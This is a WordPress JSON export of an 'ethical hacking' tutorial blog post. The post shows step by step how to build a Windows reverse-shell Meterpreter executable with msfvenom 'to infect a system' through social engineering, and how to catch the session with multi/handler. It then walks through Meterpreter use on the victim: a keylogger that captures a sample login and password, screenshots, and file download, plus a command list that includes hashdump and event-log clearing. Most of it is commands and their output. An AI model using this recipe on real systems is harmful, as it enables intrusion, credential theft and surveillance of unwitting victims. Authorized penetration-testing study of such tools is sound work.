{"id":1855,"date":"2023-04-30T20:12:00","date_gmt":"2023-04-30T18:12:00","guid":{"rendered":"https:\/\/christeninformatica.ch\/?p=1855"},"modified":"2026-04-01T22:33:12","modified_gmt":"2026-04-01T20:33:12","slug":"ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows","status":"publish","type":"post","link":"https:\/\/christeninformatica.ch\/it\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/","title":{"rendered":"Ethical Hacking &#8211; Metasploit, Msfvenom and Meterpreter"},"content":{"rendered":"<p>This tutorial is intended for educational and instructional purposes only. Please do not use any of the techniques or tools described here to attempt to break into systems without proper authorization.<\/p>\n<p>This is a <b>tutorial<\/b> on how to use <b>Msfvenom<\/b> to create an executable file to infect a system, it could be very useful in a situation in which you use social engineering. <\/p>\n<p>For more information about msfvenom run: \u201c<b>msfvenom -h<\/b>\u201d.<\/p>\n<h2>Choosing the Msfvenom Metasploit Payload<\/h2>\n<p>To list all available <b>payloads<\/b> run: <b>msfvenom -l payloads<\/b>.<\/p>\n<div class=\"comandi\">\n<blockquote>\n<pre>msf &gt; msfvenom -l payloads\n[*] exec: msfvenom -l payloads\n\n\nFramework Payloads (539 total) [--payload ]\n==================================================\n\n    Name                                                Description\n    ----                                                -----------\n    aix\/ppc\/shell_bind_tcp                              Listen for a connection and spawn a command shell\n    aix\/ppc\/shell_find_port                             Spawn a shell on an established connection\n    aix\/ppc\/shell_interact                              Simply execve \/bin\/sh (for inetd programs)\n    aix\/ppc\/shell_reverse_tcp                           Connect back to attacker and spawn a command shell\n    android\/meterpreter\/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP\n    android\/meterpreter\/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS\n\n....................................................................................................\n\n    windows\/x64\/vncinject\/bind_tcp_uuid                 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)\n    windows\/x64\/vncinject\/reverse_http                  Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)\n    windows\/x64\/vncinject\/reverse_https                 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)\n    windows\/x64\/vncinject\/reverse_tcp                   Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker (Windows x64)\n    windows\/x64\/vncinject\/reverse_tcp_rc4               Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker\n    windows\/x64\/vncinject\/reverse_tcp_uuid              Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)\n    windows\/x64\/vncinject\/reverse_winhttp               Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 winhttp)\n    windows\/x64\/vncinject\/reverse_winhttps              Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 winhttp)\nmsf &gt;\n<\/pre>\n<\/blockquote>\n<\/div>\n<p>In this tutorial we will use the  \u201c<b>reverse shell payload<\/b>\u201d (windows \/ meterpreter \/ reverse_tcp). A <b>reverse shell<\/b> is a type of shell in which the target machine communicates back to the attacking machine.  A <b>reverse shell attack<\/b> is a method to obtain a shell on the target machine, but, instead of the target running the server part of the program,  the attacker must start the server on his\/her own machine. The primary reason attackers use <b>reverse shell<\/b>, is to <b>bypass firewall rules<\/b>.<\/p>\n<h2>List Msfvenom Metasploit Options<\/h2>\n<div class=\"comandi\">\n<blockquote>\n<pre>msf &gt; msfvenom -p windows\/meterpreter\/reverse_tcp --list-options\nOptions for payload\/windows\/meterpreter\/reverse_tcp:\n=========================\n\n\n       Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager\n     Module: payload\/windows\/meterpreter\/reverse_tcp\n   Platform: Windows\n       Arch: x86\nNeeds Admin: No\n Total size: 283\n       Rank: Normal\n\nProvided by:\n    skape &lt;mmiller@hick.org&gt;\n    sf &lt;stephen_fewer@harmonysecurity.com&gt;\n    OJ Reeves\n    hdm &lt;x@hdm.io&gt;\n\nBasic options:\nName      Current Setting  Required  Description\n----      ---------------  --------  -----------\nEXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)\nLHOST                      yes       The listen address (an interface may be specified)\nLPORT     4444             yes       The listen port\n\nDescription:\n  Inject the meterpreter server DLL via the Reflective Dll Injection \n  payload (staged). Connect back to the attacker\nmsf &gt; \n<\/pre>\n<\/blockquote>\n<\/div>\n<p>As you can see from the output, the only information you need is the \u201cattacker\u201d\/<b>penetration tester<\/b> host.<\/p>\n<h2>Choosing file format for Msfvenom Metasploit<\/h2>\n<p>To visualize a list of available formats, run <b>msfvenom &#8211;list formats<\/b>. In this <b>tutorial<\/b> the target system is Windows, so, we will use the file extension \u201c.exe\u201d.<\/p>\n<div class=\"comandi\">\n<blockquote>\n<pre>msf &gt; msfvenom --list formats\n[*] exec: msfvenom --list formats\n\nFramework Executable Formats [--format ]\n===============================================\n\nName\n----\nasp\naspx\naspx-exe\naxis2\ndll\nelf\nelf-so\nexe\nexe-only\nexe-service\nexe-small\nhta-psh\njar\njsp\nloop-vbs\nmacho\nmsi\nmsi-nouac\nosx-app\npsh\npsh-cmd\npsh-net\npsh-reflection\nvba\nvba-exe\nvba-psh\nvbs\nwar\n\nFramework Transform Formats [--format ]\n==============================================\n\nName\n----\nbash\nc\ncsharp\ndw\ndword\nhex\njava\njs_be\njs_le\nnum\nperl\npl\npowershell\nps1\npy\npython\nraw\nrb\nruby\nsh\nvbapplication\nvbscript\n\nmsf &gt;\n<\/pre>\n<\/blockquote>\n<\/div>\n<h2>Create a Payload Standalone with Msfvenom Metasploit<\/h2>\n<p>Once decided what file format to use we can proceed with the creation of <b>an executable file with a payload<\/b>.  Use the option &#8220;-f&#8221; to specify the file format.<\/p>\n<div class=\"comandi\">\n<blockquote>\n<pre>msf &gt; msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=10.10.10.3 LPORT=888 -f exe &gt; file.exe\n<\/pre>\n<\/blockquote>\n<\/div>\n<h2>The Multi\/Handler Metsploit Module<\/h2>\n<p>At this point we need a handler to provide a listening service to interact with the payload. To do that we can use the multi\/handler module by running the \u201cuse multi\/handler\u201d command. We use the multi-handler in conjunction with the payload to establish a reverse connection to our machine. Once we set up the multi-handler, any target machine that execute the <b>reverse TCP payload<\/b> will establish a connection with our host.<\/p>\n<div class=\"comandi\">\n<blockquote>\n<pre>msf &gt; use multi\/handler\nmsf exploit(multi\/handler) &gt; set PAYLOAD windows\/meterpreter\/reverse_tcp\nPAYLOAD =&gt; windows\/meterpreter\/reverse_tcp\nmsf exploit(multi\/handler) &gt; show options \n\nModule options (exploit\/multi\/handler):\n\n   Name  Current Setting  Required  Description\n   ----  ---------------  --------  -----------\n\n\nPayload options (windows\/meterpreter\/reverse_tcp):\n\n   Name      Current Setting  Required  Description\n   ----      ---------------  --------  -----------\n   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)\n   LHOST                      yes       The listen address (an interface may be specified)\n   LPORT     4444             yes       The listen port\n\n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   Wildcard Target\n\n\nmsf exploit(multi\/handler) &gt; set LHOST 10.10.10.3\nLHOST =&gt; 10.10.10.3\nmsf exploit(multi\/handler) &gt; set LPORT 888\nLPORT =&gt; 888\nmsf exploit(multi\/handler) &gt; exploit\n\n[*] Started reverse TCP handler on 10.10.10.3:888 \n[*] Sending stage (179779 bytes) to 10.10.10.6\n[*] Meterpreter session 1 opened (10.10.10.3:888 -&gt; 10.10.10.6:49157) at 2019-05-17 13:57:28 +0200\n\nmeterpreter &gt;\n<\/pre>\n<\/blockquote>\n<\/div>\n<h2>How to use Meterpreter Metasploit<\/h2>\n<h3>Meterpreter &#8211; Help<\/h3>\n<p>With the &#8220;help&#8221; command you can list all available commands with a short description.<\/p>\n<div class=\"comandi\">\n<blockquote>\n<pre>meterpreter &gt; help\n\nCore Commands\n=============\n\n    Command                   Description\n    -------                   -----------\n    ?                         Help menu\n    background                Backgrounds the current session\n    bgkill                    Kills a background meterpreter script\n    bglist                    Lists running background scripts\n    bgrun                     Executes a meterpreter script as a background thread\n    channel                   Displays information or control active channels\n    close                     Closes a channel\n    disable_unicode_encoding  Disables encoding of unicode strings\n    enable_unicode_encoding   Enables encoding of unicode strings\n    exit                      Terminate the meterpreter session\n    get_timeouts              Get the current session timeout values\n    guid                      Get the session GUID\n    help                      Help menu\n    info                      Displays information about a Post module\n    irb                       Open an interactive Ruby shell on the current session\n    load                      Load one or more meterpreter extensions\n    machine_id                Get the MSF ID of the machine attached to the session\n    migrate                   Migrate the server to another process\n    pivot                     Manage pivot listeners\n    pry                       Open the Pry debugger on the current session\n    quit                      Terminate the meterpreter session\n    read                      Reads data from a channel\n    resource                  Run the commands stored in a file\n    run                       Executes a meterpreter script or Post module\n    sessions                  Quickly switch to another session\n    set_timeouts              Set the current session timeout values\n    sleep                     Force Meterpreter to go quiet, then re-establish session.\n    transport                 Change the current transport mechanism\n    use                       Deprecated alias for \"load\"\n    uuid                      Get the UUID for the current session\n    write                     Writes data to a channel\n\n\nStdapi: File system Commands\n============================\n\n    Command       Description\n    -------       -----------\n    cat           Read the contents of a file to the screen\n    cd            Change directory\n    checksum      Retrieve the checksum of a file\n    cp            Copy source to destination\n    dir           List files (alias for ls)\n    download      Download a file or directory\n    edit          Edit a file\n    getlwd        Print local working directory\n    getwd         Print working directory\n    lcd           Change local working directory\n    lls           List local files\n    lpwd          Print local working directory\n    ls            List files\n    mkdir         Make directory\n    mv            Move source to destination\n    pwd           Print working directory\n    rm            Delete the specified file\n    rmdir         Remove directory\n    search        Search for files\n    show_mount    List all mount points\/logical drives\n    upload        Upload a file or directory\n\n\nStdapi: Networking Commands\n===========================\n\n    Command       Description\n    -------       -----------\n    arp           Display the host ARP cache\n    getproxy      Display the current proxy configuration\n    ifconfig      Display interfaces\n    ipconfig      Display interfaces\n    netstat       Display the network connections\n    portfwd       Forward a local port to a remote service\n    resolve       Resolve a set of host names on the target\n    route         View and modify the routing table\n\n\nStdapi: System Commands\n=======================\n\n    Command       Description\n    -------       -----------\n    clearev       Clear the event log\n    drop_token    Relinquishes any active impersonation token.\n    execute       Execute a command\n    getenv        Get one or more environment variable values\n    getpid        Get the current process identifier\n    getprivs      Attempt to enable all privileges available to the current process\n    getsid        Get the SID of the user that the server is running as\n    getuid        Get the user that the server is running as\n    kill          Terminate a process\n    localtime     Displays the target system's local date and time\n    pgrep         Filter processes by name\n    pkill         Terminate processes by name\n    ps            List running processes\n    reboot        Reboots the remote computer\n    reg           Modify and interact with the remote registry\n    rev2self      Calls RevertToSelf() on the remote machine\n    shell         Drop into a system command shell\n    shutdown      Shuts down the remote computer\n    steal_token   Attempts to steal an impersonation token from the target process\n    suspend       Suspends or resumes a list of processes\n    sysinfo       Gets information about the remote system, such as OS\n\n\nStdapi: User interface Commands\n===============================\n\n    Command        Description\n    -------        -----------\n    enumdesktops   List all accessible desktops and window stations\n    getdesktop     Get the current meterpreter desktop\n    idletime       Returns the number of seconds the remote user has been idle\n    keyscan_dump   Dump the keystroke buffer\n    keyscan_start  Start capturing keystrokes\n    keyscan_stop   Stop capturing keystrokes\n    screenshot     Grab a screenshot of the interactive desktop\n    setdesktop     Change the meterpreters current desktop\n    uictl          Control some of the user interface components\n\n\nStdapi: Webcam Commands\n=======================\n\n    Command        Description\n    -------        -----------\n    record_mic     Record audio from the default microphone for X seconds\n    webcam_chat    Start a video chat\n    webcam_list    List webcams\n    webcam_snap    Take a snapshot from the specified webcam\n    webcam_stream  Play a video stream from the specified webcam\n\n\nStdapi: Audio Output Commands\n=============================\n\n    Command       Description\n    -------       -----------\n    play          play an audio file on target system, nothing written on disk\n\n\nPriv: Elevate Commands\n======================\n\n    Command       Description\n    -------       -----------\n    getsystem     Attempt to elevate your privilege to that of local system.\n\n\nPriv: Password database Commands\n================================\n\n    Command       Description\n    -------       -----------\n    hashdump      Dumps the contents of the SAM database\n\n\nPriv: Timestomp Commands\n========================\n\n    Command       Description\n    -------       -----------\n    timestomp     Manipulate file MACE attributes\n\nmeterpreter &gt;\n<\/pre>\n<\/blockquote>\n<\/div>\n<h3>Meterpreter &#8211; Keyscan (Keylogger)<\/h3>\n<p>Keyscan is a keylogger you can use to monitor keyboard activities of a target system.<\/p>\n<div class=\"comandi\">\n<blockquote>\n<pre>meterpreter &gt; keyscan_start\nStarting the keystroke sniffer ...\nmeterpreter &gt; keyscan_dump\nDumping captured keystrokes...\nfacebook.com\nemailvittimagmail.comPassword88\nmeterpreter &gt; keyscan_stop\nStopping the keystroke sniffer...\nmeterpreter &gt;\n<\/pre>\n<\/blockquote>\n<\/div>\n<p>In this example you can see that the target has visited facebook.com and after that inserted username and password.<\/p>\n<h3>Meterpreter &#8211; Edit (Vi)<\/h3>\n<p>With the edit command you can edit or create text files using the Vi text editor.<\/p>\n<div class=\"comandi\">\n<blockquote>\n<pre>meterpreter &gt; edit hackerato.txt\n<\/pre>\n<\/blockquote>\n<\/div>\n<h3>Meterpreter &#8211; Pwd, cd, ls<\/h3>\n<p>With <b>meterpreter<\/b> you can also use some Unix commands like pwd, cd and ls.<\/p>\n<div class=\"comandi\">\n<blockquote>\n<pre>meterpreter &gt; pwd\nC:\\Users\\Chit\nmeterpreter &gt; cd Desktop\nmeterpreter &gt; ls\nListing: C:\\Users\\Chit\\Desktop\n=========================================\n\nMode              Size  Type  Last modified              Name\n----              ----  ----  -------------              ----\n40777\/rwxrwxrwx   4096  dir   2019-05-14 17:13:48 +0200  BookApp\n100666\/rw-rw-rw-  282   fil   2019-05-14 16:36:40 +0200  desktop.ini\n100666\/rw-rw-rw-  21    fil   2019-05-17 13:02:28 +0200  hackerato.txt\n<\/pre>\n<\/blockquote>\n<\/div>\n<h3>Meterpreter &#8211; Screenshot<\/h3>\n<p>With this command you can do &#8220;screenshots&#8221; of the target machine.<\/p>\n<div class=\"comandi\">\n<blockquote>\n<pre>meterpreter &gt; screenshot\nScreenshot saved to: \/root\/psthIJvn.jpeg\nmeterpreter &gt; \n<\/pre>\n<\/blockquote>\n<\/div>\n<h3><img decoding=\"async\" src=\"..\/..\/..\/grafica\/vittima-windows.jpg\" alt=\"Vittima Windows\"><\/h3>\n<h3>Meterpreter &#8211; Download<\/h3>\n<p>With this <b>meterpreter<\/b> command you can download files from the target host.<\/p>\n<div class=\"comandi\">\n<blockquote>\n<pre>meterpreter &gt; download hackerato.txt\n[*] Downloading: hackerato.txt -&gt; hackerato.txt\n[*] Downloaded 21.00 B of 21.00 B (100.0%): hackerato.txt -&gt; hackerato.txt\n[*] download   : hackerato.txt -&gt; hackerato.txt\nmeterpreter &gt;\n<\/pre>\n<\/blockquote>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>This tutorial is intended for educational and instructional purposes only. Please do not use any of the techniques or tools described here to attempt to break into systems without proper authorization. This is a tutorial on how to use Msfvenom to create an executable file to infect a system, it could be very useful in&#8230;<\/p>\n<p class=\"more-link-wrap\"><a href=\"https:\/\/christeninformatica.ch\/it\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/\" class=\"more-link\">Read More<span class=\"screen-reader-text\"> &ldquo;Ethical Hacking &#8211; Metasploit, Msfvenom and Meterpreter&rdquo;<\/span> &raquo;<\/a><\/p>","protected":false},"author":5,"featured_media":1817,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[268,297],"tags":[21,113,281,282,289,287,300,283,299,301,11,109,157],"class_list":["post-1855","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ethical-hacking-penetration-testing","category-tutorials","tag-exploit","tag-hacking","tag-kali-linux","tag-metasploit","tag-meterpreter","tag-msfvenom","tag-payload","tag-penetration-testing","tag-social-engineering","tag-system","tag-tutorial","tag-vulnerability","tag-windows"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.9 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Ethical Hacking - Metasploit, Msfvenom and Meterpreter &#8226; CHIT<\/title>\n<meta name=\"description\" content=\"This is a tutorial on how to use Msfvenom to create an executable file to infect a system using social engineering.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/christeninformatica.ch\/it\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Ethical Hacking - Metasploit, Msfvenom and Meterpreter &#8226; CHIT\" \/>\n<meta property=\"og:description\" content=\"This is a tutorial on how to use Msfvenom to create an executable file to infect a system using social engineering.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/christeninformatica.ch\/it\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/\" \/>\n<meta property=\"og:site_name\" content=\"CHIT\" \/>\n<meta property=\"article:published_time\" content=\"2023-04-30T18:12:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-04-01T20:33:12+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/christeninformatica.ch\/media\/metasploit-exploit-msfvenom-multi-handler-kali-linux.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"730\" \/>\n\t<meta property=\"og:image:height\" content=\"605\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"chitblog\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"chitblog\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/\"},\"author\":{\"name\":\"chitblog\",\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/#\\\/schema\\\/person\\\/b0952e900860b424a6b0906f1d6a0a64\"},\"headline\":\"Ethical Hacking &#8211; Metasploit, Msfvenom and Meterpreter\",\"datePublished\":\"2023-04-30T18:12:00+00:00\",\"dateModified\":\"2026-04-01T20:33:12+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/\"},\"wordCount\":473,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/christeninformatica.ch\\\/media\\\/metasploit-exploit-msfvenom-multi-handler-kali-linux.jpg\",\"keywords\":[\"exploit\",\"hacking\",\"Kali Linux\",\"Metasploit\",\"meterpreter\",\"Msfvenom\",\"Payload\",\"Penetration testing\",\"Social Engineering\",\"System\",\"tutorial\",\"vulnerability\",\"windows\"],\"articleSection\":[\"Ethical Hacking \\\/ Penetration Testing\",\"Tutorials\"],\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/\",\"url\":\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/\",\"name\":\"Ethical Hacking - Metasploit, Msfvenom and Meterpreter &#8226; CHIT\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/christeninformatica.ch\\\/media\\\/metasploit-exploit-msfvenom-multi-handler-kali-linux.jpg\",\"datePublished\":\"2023-04-30T18:12:00+00:00\",\"dateModified\":\"2026-04-01T20:33:12+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/#\\\/schema\\\/person\\\/b0952e900860b424a6b0906f1d6a0a64\"},\"description\":\"This is a tutorial on how to use Msfvenom to create an executable file to infect a system using social engineering.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/#primaryimage\",\"url\":\"https:\\\/\\\/christeninformatica.ch\\\/media\\\/metasploit-exploit-msfvenom-multi-handler-kali-linux.jpg\",\"contentUrl\":\"https:\\\/\\\/christeninformatica.ch\\\/media\\\/metasploit-exploit-msfvenom-multi-handler-kali-linux.jpg\",\"width\":730,\"height\":605},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/christeninformatica.ch\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Ethical Hacking &#8211; Metasploit, Msfvenom and Meterpreter\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/#website\",\"url\":\"https:\\\/\\\/christeninformatica.ch\\\/\",\"name\":\"CHIT\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/christeninformatica.ch\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/christeninformatica.ch\\\/#\\\/schema\\\/person\\\/b0952e900860b424a6b0906f1d6a0a64\",\"name\":\"chitblog\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/321ffb3802ecc0a2fc461c52e31fbbabb19873df19bfb793c8e64c6a0cc49313?s=96&d=identicon&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/321ffb3802ecc0a2fc461c52e31fbbabb19873df19bfb793c8e64c6a0cc49313?s=96&d=identicon&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/321ffb3802ecc0a2fc461c52e31fbbabb19873df19bfb793c8e64c6a0cc49313?s=96&d=identicon&r=g\",\"caption\":\"chitblog\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Ethical Hacking - Metasploit, Msfvenom and Meterpreter &#8226; CHIT","description":"This is a tutorial on how to use Msfvenom to create an executable file to infect a system using social engineering.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/christeninformatica.ch\/it\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/","og_locale":"it_IT","og_type":"article","og_title":"Ethical Hacking - Metasploit, Msfvenom and Meterpreter &#8226; CHIT","og_description":"This is a tutorial on how to use Msfvenom to create an executable file to infect a system using social engineering.","og_url":"https:\/\/christeninformatica.ch\/it\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/","og_site_name":"CHIT","article_published_time":"2023-04-30T18:12:00+00:00","article_modified_time":"2026-04-01T20:33:12+00:00","og_image":[{"width":730,"height":605,"url":"https:\/\/christeninformatica.ch\/media\/metasploit-exploit-msfvenom-multi-handler-kali-linux.jpg","type":"image\/jpeg"}],"author":"chitblog","twitter_card":"summary_large_image","twitter_misc":{"Written by":"chitblog","Est. reading time":"3 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/#article","isPartOf":{"@id":"https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/"},"author":{"name":"chitblog","@id":"https:\/\/christeninformatica.ch\/#\/schema\/person\/b0952e900860b424a6b0906f1d6a0a64"},"headline":"Ethical Hacking &#8211; Metasploit, Msfvenom and Meterpreter","datePublished":"2023-04-30T18:12:00+00:00","dateModified":"2026-04-01T20:33:12+00:00","mainEntityOfPage":{"@id":"https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/"},"wordCount":473,"commentCount":0,"image":{"@id":"https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/#primaryimage"},"thumbnailUrl":"https:\/\/christeninformatica.ch\/media\/metasploit-exploit-msfvenom-multi-handler-kali-linux.jpg","keywords":["exploit","hacking","Kali Linux","Metasploit","meterpreter","Msfvenom","Payload","Penetration testing","Social Engineering","System","tutorial","vulnerability","windows"],"articleSection":["Ethical Hacking \/ Penetration Testing","Tutorials"],"inLanguage":"it-IT","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/","url":"https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/","name":"Ethical Hacking - Metasploit, Msfvenom and Meterpreter &#8226; CHIT","isPartOf":{"@id":"https:\/\/christeninformatica.ch\/#website"},"primaryImageOfPage":{"@id":"https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/#primaryimage"},"image":{"@id":"https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/#primaryimage"},"thumbnailUrl":"https:\/\/christeninformatica.ch\/media\/metasploit-exploit-msfvenom-multi-handler-kali-linux.jpg","datePublished":"2023-04-30T18:12:00+00:00","dateModified":"2026-04-01T20:33:12+00:00","author":{"@id":"https:\/\/christeninformatica.ch\/#\/schema\/person\/b0952e900860b424a6b0906f1d6a0a64"},"description":"This is a tutorial on how to use Msfvenom to create an executable file to infect a system using social engineering.","breadcrumb":{"@id":"https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/#primaryimage","url":"https:\/\/christeninformatica.ch\/media\/metasploit-exploit-msfvenom-multi-handler-kali-linux.jpg","contentUrl":"https:\/\/christeninformatica.ch\/media\/metasploit-exploit-msfvenom-multi-handler-kali-linux.jpg","width":730,"height":605},{"@type":"BreadcrumbList","@id":"https:\/\/christeninformatica.ch\/ethical-hacking-metasploit-msfvenom-meterpreter-payload-reverse-shell-tutorial-windows\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/christeninformatica.ch\/"},{"@type":"ListItem","position":2,"name":"Ethical Hacking &#8211; Metasploit, Msfvenom and 